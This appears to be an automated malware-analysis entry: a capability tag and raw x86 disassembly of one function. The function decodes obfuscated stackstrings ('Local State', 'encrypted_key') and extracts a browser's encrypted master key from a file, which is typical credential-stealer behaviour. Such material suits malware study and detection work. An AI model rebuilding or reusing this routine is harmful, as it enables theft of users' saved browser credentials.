Function at 0x413150
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x288
push esi
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x286]
push ecx
mov word [ebp - 0x288], ax
call fcn.0041ca30
mov esi, dword [ebp + 8]
add esp, 0xc
cmp dword [esi + 0xba4], 0
jne 0x4131a1
push 4
push 0x3000
push 0x1000
push 0
push esi
call fcn.0041c910
add esp, 0x14
mov dword [esi + 0xba4], eax
mov eax, dword [esi + 0xba4]
test eax, eax
jne 0x4131b2
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push 0x1000
push eax
call fcn.0041c9e0
xor eax, eax
mov dword [ebp - 0x3d], eax
mov dword [ebp - 0x39], eax
mov dword [ebp - 0x35], eax
mov dword [ebp - 0x31], eax
mov dword [ebp - 0x2d], eax
mov dword [ebp - 0x29], eax
mov dword [ebp - 0x25], eax
mov byte [ebp - 0x21], al
mov ecx, 0x65
mov eax, ecx
mov word [ebp - 0x6c], ax
xor eax, eax
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x12], eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov dword [ebp - 6], eax
mov word [ebp - 2], ax
mov eax, dword [esi + 0xb94]
xor edx, edx
add esp, 8
mov word [ebp - 0x40], 0x7d22
mov byte [ebp - 0x3e], 0
mov dword [ebp - 0x80], 0x6f004c
mov dword [ebp - 0x7c], 0x610063
mov dword [ebp - 0x78], 0x20006c
mov dword [ebp - 0x74], 0x740053
mov dword [ebp - 0x70], 0x740061
mov word [ebp - 0x6a], dx
mov dword [ebp - 0x20], 0x72636e65
mov dword [ebp - 0x1c], 0x65747079
mov dword [ebp - 0x18], 0x656b5f64
mov word [ebp - 0x14], 0x79
test eax, eax
je 0x4132cb
cmp dword [esi + 0xb90], edx
je 0x4132cb
push eax
call fcn.0041cca0
mov ecx, dword [esi + 0xb94]
lea eax, [eax + eax + 2]
push eax
push ecx
lea edx, [ebp - 0x288]
push edx
call fcn.0041c9b0
lea eax, [ebp - 0x288]
push eax
call fcn.0041cca0
add esp, 0x14
cmp word [ebp + eax*2 - 0x28a], 0x5c
je 0x413322
lea ecx, [ebp - 0x288]
push ecx
call fcn.0041cca0
mov edx, 0x5c
add esp, 4
mov word [ebp + eax*2 - 0x288], dx
jmp 0x413322
push 0
push 1
lea eax, [ebp - 0x288]
push eax
push esi
call fcn.0040afd0
add esp, 0x10
push 1
lea ecx, [ebp - 0x288]
push 0x23
push ecx
call fcn.0041cca0
add esp, 4
lea edx, [ebp + eax*2 - 0x288]
push edx
push esi
call fcn.0040afd0
lea eax, [ebp - 0x288]
push eax
call fcn.0041cca0
add esp, 0x14
cmp eax, 0x16
jb 0x4131ab
xor ecx, ecx
mov word [ebp + eax*2 - 0x2ac], cx
push ebx
push edi
push 0
lea edx, [ebp - 0x80]
push edx
lea eax, [ebp - 0x288]
push eax
call fcn.0041ce10
push 0
push 0x15
lea ecx, [ebp - 0x288]
push ecx
push esi
call fcn.00415cd0
push 0
push 1
lea edx, [ebp - 0x288]
push edx
push esi
mov edi, eax
call fcn.00415cd0
mov ebx, eax
add esp, 0x2c
test ebx, ebx
je 0x4133f9
test edi, edi
je 0x4133f9
lea eax, [ebp - 0x20]
push eax
push ebx
call fcn.0041cd30
mov edi, eax
add esp, 8
test edi, edi
je 0x4133cb
lea ecx, [ebp - 0x20]
push ecx
call fcn.0041cc80
lea edx, [ebp - 0x40]
lea edi, [edi + eax + 3]
push edx
push edi
call fcn.0041cd30
add esp, 0xc
mov byte [eax], 0
cmp byte [edi], 0
je 0x4133cb
push edi
call fcn.0041cc80
add esp, 4
cmp eax, 0x400
jae 0x4133cb
push edi
call fcn.0041cc80
push eax
mov eax, dword [esi + 0xba4]
push edi
push eax
call fcn.0041c9b0
add esp, 0x10
cmp dword [esi + 0xb98], 0
jne 0x4133e3
push esi
call fcn.004016a0
add esp, 4
mov dword [esi + 0xb98], eax
push ebx
push esi
call fcn.0041c990
add esp, 8
pop edi
pop ebx
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
pop edi
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret